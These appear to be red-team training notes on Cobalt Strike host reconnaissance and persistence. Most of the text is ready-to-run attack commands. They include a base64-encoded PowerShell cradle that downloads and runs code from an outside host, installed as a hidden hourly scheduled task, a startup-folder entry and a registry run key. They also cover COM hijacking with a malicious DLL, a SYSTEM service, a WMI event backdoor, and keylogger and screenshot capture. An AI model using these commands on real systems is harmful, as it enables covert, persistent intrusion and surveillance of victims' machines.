2_Host Recon and Persistence

host recon

Processes: ps (beacon)

interesting processes? - Sysmon64, MsMpEng, elastic-endpoint, elastic-agent - when running as medium integrity we will not see arch, session or user information

• Seatbelt.exe for more information

  • beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system

• create screenshot

  • printscreen, screenshot, screenwatch (periodic screenshots)
  • view → screenshots

• keylogger

  • view → keystrokes
  • can checked with jobs and stopped with jobkill n

• clipboard (one-off, not a job as keylogger)

• net logons: show currenlty logged on users

host persistence

• dangerous as it puts a payload on disk
• cobalt strike does not offer persistence, but can call SharPersist through execute-assembly

task scheduler

Prepare payload:

PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

Execute it in cobalt strike:

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly

This would be executed hourly.

start-up folder

This are programs that are executed when the user first logs in.

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add

use registry auto-run

beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add

searching for COM hijacks

• use procmon on your own computer to hunt for an application that is missing a dll
  • RegOpenKey operations
  • Result is NAME NOT FOUND
  • and the path ends with InprocServer32
• identify CLSID

check if the entry does exist in HKLM:

PS C:\Users\Attacker> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
 
Name                           Property
----                           --------
InprocServer32                 (default)      : C:\Windows\System32\thumbcache.dll
                               ThreadingModel : Apartment
 
 
PS C:\Users\Attacker> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32' because it does not exist.

Point this to malicious dll:

PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

search for com-hijacks in task scheduler

$Tasks = Get-ScheduledTask
 
foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

User auto-generate script for hosted payloads (otherwise listeners will be created on startup but not payloads), add this to postexec in systemd

elevated host persistence

• note: system processes cannot authenticate to the web proxy, use p2p or dns instead

create a new service instead of breaking an existing one

• this will be running with system privileges

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add

bind to WMI events

This is an action that will be started in dependence of a WMI action

beacon> cd C:\Windows
beacon> upload C:\Payloads\dns_x64.exe
beacon> powershell-import C:\Tools\PowerLurk.ps1
beacon> powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe

Wenn notepad.exe geoeffnet wird → neue shell

remove shell:

Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject